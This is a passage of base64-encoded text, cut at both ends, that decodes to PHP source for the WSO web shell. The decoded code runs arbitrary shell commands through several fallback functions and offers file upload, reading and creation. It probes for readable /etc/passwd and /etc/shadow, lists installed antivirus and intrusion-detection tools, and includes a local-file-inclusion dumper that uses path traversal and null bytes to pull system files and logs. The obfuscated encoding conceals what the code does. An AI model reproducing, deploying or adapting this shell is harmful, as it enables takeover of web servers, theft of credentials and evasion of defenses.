SIjIiBvbmNsaWNrPSJnKCcnLiR2LicnLG51bGwsJycsJycsJycpIj4nLiRrLic8L2E+XTwvdGg+JzsgDQogIA0KICAgICRkcml2ZXMgPSAiIjsgDQogICAgaWYoJEdMT0JBTFNbJ29zJ10gPT0gJ3dpbicpIHsgDQogICAgICAgIGZvcmVhY2gocmFuZ2UoJ2MnLCd6JykgYXMgJGRyaXZlKSANCiAgICAgICAgaWYoaXNfZGlyKCRkcml2ZS4nOlwnKSkgDQogICAgICAgICAgICAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdGaWxlc01hbicsJycuJGRyaXZlLic6LycpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsgDQogICAgfSANCiAgICBlY2hvICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6JyAuICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nPGJyPkRyaXZlczonOicnKSAuICc8L3NwYW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxub2JyPicgLiBzdWJzdHIoQHBocF91bmFtZSgpLCAwLCAxMjApIC4gJyA8L25vYnI+PGJyPicgLiAkdWlkIC4gJyAoICcgLiAkdXNlciAuICcgKSA8c3Bhbj5Hcm91cDo8L3NwYW4+ICcgLiAkZ2lkIC4gJyAoICcgLiAkZ3JvdXAgLiAnICk8YnI+JyAuIEBwaHB2ZXJzaW9uKCkgLiAnIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcgLiAoJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9IzAwYmIwMD48Yj5PRkY8L2I+PC9mb250PicpIA0KICAgICAgIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZygnUGhwJyxudWxsLCcnLCdpbmZvJykiPlsgcGhwaW5mbyBdPC9hPiA8c3Bhbj5EYXRldGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJzxicj4nIC4gd3NvVmlld1NpemUoJHRvdGFsU3BhY2UpIC4gJyA8c3Bhbj5GcmVlOjwvc3Bhbj4gJyAuIHdzb1ZpZXdTaXplKCRmcmVlU3BhY2UpIC4gJyAoJy4gKGludCkgKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKSAuICclKTxicj4nIC4gJGN3ZF9saW5rcyAuICcgJy4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pIC4gJyA8YSBocmVmPSMgb25jbGljaz0iZygnRmlsZXNNYW4nLCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnJywnJywnJywnJykiPlsgaG9tZSBdPC9hPjxicj4nIC4gJGRyaXZlcyAuICc8L3RkPicNCiAgICAgICAuICc8dGQgd2lkdGg9MSBhbGlnbj1yaWdodD48bm9icj48c2VsZWN0IG9uY2hhbmdlPSJnKG51bGwsbnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnZhbHVlKSI+PG9wdGdyb3VwIGxhYmVsPSJQYWdlIGNoYXJzZXQiPicgLiAkb3B0X2NoYXJzZXRzIC4gJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzcGFuPlNlcnZlciBJUDo8L3NwYW4+PGJyPicgLiBAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0gLiAnPGJyPjxzcGFuPkNsaWVudCBJUDo8L3NwYW4+PGJyPicgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICc8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRvcDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5bGU9Im1hcmdpbjo1Ij4nOyANCn0gDQogIA0KZnVuY3Rpb24gd3NvRm9vdGVyKCkgeyANCiAgICAkaXNfd3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQgY29sb3I9JyMyNWZmMDAnPihXcml0ZWFibGUpPC9mb250PiI6IiA8Zm9udCBjb2xvcj1yZWQ+KE5vdCB3cml0YWJsZSk8L2ZvbnQ+IjsgDQogICAgZWNobyAiIA0KICANCjwvZGl2PiANCjx0YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+IA0KICAgIDx0cj4gDQogICAgICAgIDx0ZD48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLHRoaXMuYy52YWx1ZSwiIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPiANCiAgICAgICAgPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4gDQogICAgPC90cj48dHI+IA0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0ZpbGVzTWFuJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvdGQ+IA0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0ZpbGVzVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlLCdta2ZpbGUnKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3RkPiANCiAgDQogICAgPC90cj48dHI+IA0KICAgICAgICA8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ0NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4gDQogICAgICAgIDx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211bHRpcGFydC9mb3JtLWRhdGEnPiANCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNQW4nPiANCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+IA0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+IA0KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiAiJz4gDQogICAgICAgIDxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj4kaXNfd3JpdGFibGU8YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PGJyICA+PC90ZD4gDQogIA0KICAgIDwvdHI+PC90YWJsZT48L2Rpdj48L2JvZHk+PC9odG1sPiI7IA0KfSANCiAgDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0cHd1aWQnKT09PWZhbHNlKSkgeyANCiAgICBmdW5jdGlvbiBwb3NpeF9nZXRwd3VpZCgkcCkge3JldHVybiBmYWxzZTt9IH0gDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgeyANCiAgICBmdW5jdGlvbiBwb3NpeF9nZXRncmdpZCgkcCkge3JldHVybiBmYWxzZTt9IH0gDQogIA0KZnVuY3Rpb24gd3NvRXgoJGluKSB7IA0KICAgICRvdXQgPSAnJzsgDQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7IA0KICAgICAgICBAZXhlYygkaW4sJG91dCk7IA0KICAgICAgICAkb3V0ID0gQGpvaW4oIm4iLCRvdXQpOyANCiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IA0KICAgICAgICBvYl9zdGFydCgpOyANCiAgICAgICAgQHBhc3N0aHJ1KCRpbik7IA0KICAgICAgICAkb3V0ID0gb2JfZ2V0X2NsZWFuKCk7IA0KICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7IA0KICAgICAgICBvYl9zdGFydCgpOyANCiAgICAgICAgQHN5c3RlbSgkaW4pOyANCiAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOyANCiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsgDQogICAgICAgICRvdXQgPSBzaGVsbF9leGVjKCRpbik7IA0KICAgIH0gZWxzZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsgDQogICAgICAgICRvdXQgPSAiIjsgDQogICAgICAgIHdoaWxlKCFAZmVvZigkZikpIA0KICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwxMDI0KTsgDQogICAgICAgIHBjbG9zZSgkZik7IA0KICAgIH0gDQogICAgcmV0dXJuICRvdXQ7IA0KfSANCmZ1bmN0aW9uIHdzb1ZpZXdTaXplKCRzKSB7IA0KICAgIGlmKCRzID49IDEwNzM3NDE4MjQpIA0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwNzM3NDE4MjQgKS4gJyBHQic7IA0KICAgIGVsc2VpZigkcyA+PSAxMDQ4NTc2KSANCiAgICAgICAgcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsgDQogICAgZWxzZWlmKCRzID49IDEwMjQpIA0KICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOyANCiAgICBlbHNlDQogICAgICAgIHJldHVybiAkcyAuICcgQic7IA0KfSANCiAgDQpmdW5jdGlvbiB3c29QZXJtcygkcCkgeyANCiAgICBpZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7IA0KICAgIGVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7IA0KICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7IA0KICAgIGVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7IA0KICAgIGVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7IA0KICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7IA0KICAgIGVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7IA0KICAgIGVsc2UgJGkgPSAndSc7IA0KICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsgDQogICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOyANCiAgICAkaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7IA0KICAgICRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6ICgoJHAgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7IA0KICAgIHJldHVybiAkaTsgDQp9IA0KICANCmZ1bmN0aW9uIHdzb1Blcm1zQ29sb3IoJGYpIHsgDQogICAgaWYgKCFAaXNfcmVhZGFibGUoJGYpKSANCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jRkYwMDAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7IA0KICAgIGVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpIA0KICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPXdoaXRlPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7IA0KICAgIGVsc2UNCiAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj0jMDBCQjAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAnPC9mb250Pic7IA0KfSANCiAgDQppZighZnVuY3Rpb25fZXhpc3RzKCJzY2FuZGlyIikpIHsgDQogICAgZnVuY3Rpb24gc2NhbmRpcigkZGlyKSB7IA0KICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsgDQogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlbmFtZSA9IHJlYWRkaXIoJGRoKSkpIA0KICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZW5hbWU7IA0KICAgICAgICByZXR1cm4gJGZpbGVzOyANCiAgICB9IA0KfSANCiAgDQpmdW5jdGlvbiB3c29XaGljaCgkcCkgeyANCiAgICAkcGF0aCA9IHdzb0V4KCd3aGljaCAnIC4gJHApOyANCiAgICBpZighZW1wdHkoJHBhdGgpKSANCiAgICAgICAgcmV0dXJuICRwYXRoOyANCiAgICByZXR1cm4gZmFsc2U7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25TZWNJbmZvKCkgeyANCiAgICB3c29IZWFkZXIoKTsgDQogICAgZWNobyAnPGgxPlNlcnZlciBzZWN1cml0eSBpbmZvcm1hdGlvbjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7IA0KICAgIGZ1bmN0aW9uIHdzb1NlY1BhcmFtKCRuLCAkdikgeyANCiAgICAgICAgJHYgPSB0cmltKCR2KTsgDQogICAgICAgIGlmKCR2KSB7IA0KICAgICAgICAgICAgZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7IA0KICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAibiIpID09PSBmYWxzZSkgDQogICAgICAgICAgICAgICAgZWNobyAkdiAuICc8YnI+JzsgDQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7IA0KICAgICAgICB9IA0KICAgIH0gDQogIA0KICAgIHdzb1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKSk7IA0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpIA0KICAgICAgICB3c29TZWNQYXJhbSgnTG9hZGVkIEFwYWNoZSBtb2R1bGVzJywgaW1wbG9kZSgnLCAnLCBhcGFjaGVfZ2V0X21vZHVsZXMoKSkpOyANCiAgICB3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddOidub25lJyk7IA0KICAgIHdzb1NlY1BhcmFtKCdPcGVuIGJhc2UgZGlyJywgQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKTsgDQogICAgd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7IA0KICAgIHdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOyANCiAgICB3c29TZWNQYXJhbSgnY1VSTCBzdXBwb3J0JywgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKT8nZW5hYmxlZCc6J25vJyk7IA0KICAgICR0ZW1wPWFycmF5KCk7IA0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfZ2V0X2NsaWVudF9pbmZvJykpIA0KICAgICAgICAkdGVtcFtdID0gIk15U3FsICgiLm15c3FsX2dldF9jbGllbnRfaW5mbygpLiIpIjsgDQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtdID0gIk1TU1FMIjsgDQogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtdID0gIlBvc3RncmVTUUwiOyANCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpIA0KICAgICAgICAkdGVtcFtdID0gIk9yYWNsZSI7IA0KICAgIHdzb1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOyANCiAgICBlY2hvICc8YnI+JzsgDQogIA0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7IA0KICAgICAgICB3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKCJGaWxlc1Rvb2xzIiwgIi9ldGMvIiwgInBhc3N3ZCIpJz5bdmlld108L2E+Ijonbm8nKTsgDQogICAgICAgIHdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3NoYWRvdycsIEBpc19yZWFkYWJsZSgnL2V0Yy9zaGFkb3cnKT8ieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coIkZpbGVzVG9vbHMiLCAiZXRjIiwgInNoYWRvdyIpJz5bdmlld108L2E+Ijonbm8nKTsgDQogICAgICAgIHdzb1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOyANCiAgICAgICAgd3NvU2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOyANCiAgICAgICAgaWYoISRHTE9CQUxTWydzYWZlX21vZGUnXSkgeyANCiAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbicsJ3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUnLCdzdWlkcGVybCcpOyANCiAgICAgICAgICAgICRkYW5nZXIgPSBhcnJheSgna2F2Jywnbm9kMzInLCdiZGNvcmVkJywndXZzY2FuJywnc2F2JywnZHJ3ZWJkJywnY2xhbWQnLCdya2h1bnRlcicsJ2Noa3Jvb3RraXQnLCdpcHRhYmxlcycsJ2lwZncnLCd0cmlwd2lyZScsJ3NoaWVsZGNjJywncG9ydHNlbnRyeScsJ3Nub3J0Jywnb3NzZWMnLCdsaWRzYWRtJywndGNwbG9kZycsJ3N4aWQnLCdsb2djaGVjaycsJ2xvZ3dhdGNoJywnc3lzbWFzaycsJ3ptYnNjYXAnLCdzYXdtaWxsJywnd29ybXNjYW4nLCduaW5qYScpOyANCiAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOyANCiAgICAgICAgICAgIGVjaG8gJzxicj4nOyANCiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJmdWwgYXMgJGl0ZW0pIA0KICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkgDQogICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsgDQogICAgICAgICAgICB3c29TZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7IA0KICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkgDQogICAgICAgICAgICAgICAgaWYod3NvV2hpY2goJGl0ZW0pKSANCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOyANCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsgDQogICAgICAgICAgICAkdGVtcD1hcnJheSgpOyANCiAgICAgICAgICAgIGZvcmVhY2ggKCRkb3dubG9hZGVycyBhcyAkaXRlbSkgDQogICAgICAgICAgICAgICAgaWYod3NvV2hpY2goJGl0ZW0pKSANCiAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOyANCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywkdGVtcCkpOyANCiAgICAgICAgICAgIGVjaG8gJzxici8+JzsgDQogICAgICAgICAgICB3c29TZWNQYXJhbSgnSEREIHNwYWNlJywgd3NvRXgoJ2RmIC1oJykpOyANCiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIb3N0cycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9ob3N0cycpKTsgDQogICAgICAgIH0gDQogICAgfSBlbHNlIHsgDQogICAgICAgIHdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJyx3c29FeCgndmVyJykpOyANCiAgICAgICAgd3NvU2VjUGFyYW0oJ0FjY291bnQgU2V0dGluZ3MnLHdzb0V4KCduZXQgYWNjb3VudHMnKSk7IA0KICAgICAgICB3c29TZWNQYXJhbSgnVXNlciBBY2NvdW50cycsd3NvRXgoJ25ldCB1c2VyJykpOyANCiAgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQpmdW5jdGlvbiBhY3Rpb25sZmlzY2FuKCkgeyANCiAgICB3c29IZWFkZXIoKTsgDQogICAgcHJpbnQgJyANCiAgIDxoMz5MZWQtWmVwcGVsaW4ncyBMRkkgRmlsZSBkdW1wZXI8L2gzPiANCiAgDQogICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPyI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxmaXNjYW4iPiANCiAgICAgIExGSSBVUkw6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2MCIgbmFtZT0ibGZpdXJsIiB2YWx1ZT0iIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj4gRmlsZTogPHNlbGVjdCBuYW1lPSJzY2FudHlwZSI+IA0KICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iMSI+IA0KICAgICAgICAgICAgQWNjZXNzIExvZyANCiAgICAgICAgIDwvb3B0aW9uPiANCiAgDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSIyIj4gDQogICAgICAgICAgICBodHRwZC5jb25mIA0KICAgICAgICAgPC9vcHRpb24+IA0KICANCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjMiPiANCiAgICAgICAgICAgIEVycm9yIExvZyANCiAgICAgICAgIDwvb3B0aW9uPiANCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjQiPiANCiAgICAgICAgICAgIHBocC5pbmkgDQogICAgICAgICA8L29wdGlvbj4gDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSI1Ij4gDQogICAgICAgICAgICBNeVNRTCANCiAgICAgICAgIDwvb3B0aW9uPiANCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjYiPiANCiAgICAgICAgICAgIEZUUCANCiAgICAgICAgIDwvb3B0aW9uPiANCiAgICAgICAgIDxvcHRpb24gdmFsdWU9IjciPiANCiAgICAgICAgICAgIEVudmlyb24gDQogICAgICAgICA8L29wdGlvbj4gDQogICAgICA8L3NlbGVjdD4gTnVsbDogPHNlbGVjdCBuYW1lPSJudWxsIj4gDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSIlMDAiPiANCiAgICAgICAgICAgIFllcyANCiAgICAgICAgIDwvb3B0aW9uPiANCiAgDQogICAgICAgICA8b3B0aW9uIHZhbHVlPSIiPiANCiAgICAgICAgICAgIE5vIA0KICAgICAgICAgPC9vcHRpb24+IA0KICAgICAgPC9zZWxlY3Q+IFVzZXItQWdlbnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgbmFtZT0iY3VzdG9tX2hlYWRlciIgdmFsdWU9IiI+IA0KICAgPC9mb3JtPic7IA0KICAgZXJyb3JfcmVwb3J0aW5nKDApOyANCiAgICAgIGlmKCRfUE9TVFsnbGZpdXJsJ10pIHsgDQogICAgICAgICBwcmludCAiPHByZT4iOyANCiAgICAgICAgICRjaGVhZGVyID0gJF9QT1NUWydjdXN0b21faGVhZGVyJ107IA0KICAgICAgICAgJHRhcmdldCA9ICRfUE9TVFsnbGZpdXJsJ107IA0KICAgICAgICAgJHR5cGUgPSAkX1BPU1RbJ3NjYW50eXBlJ107IA0KICAgICAgICAgJGJ5dGUxID0gJF9QT1NUWydudWxsJ107IA0KICAgICAgICAgJGxmaXRlc3QgPSAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCIuJGJ5dGUxLiIiOyANCiAgICAgICAgICRsZml0ZXN0MiA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9mYWtlL2ZpbGUiLiRieXRlMS4iIjsgDQogICAgICAgICAkbGZpcHJvY2VudiA9ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9wcm9jL2Vudmlyb24iLiRieXRlMS4iIjsgDQogICAgICAgICAkbGZpYWNjZXNzID0gYXJyYXkoIA0KICAgICAgICAgICAgMSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vYXBhY2hlL2xvZ3MvYWNjZXNzLmxvZyIuJGJ5dGUxLiIiLCANCiAgICAgICAgICAgIDIgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9odHRwZC9sb2dzL2FjY2VzX2xvZyIuJGJ5dGUxLiIiLCANCiAgI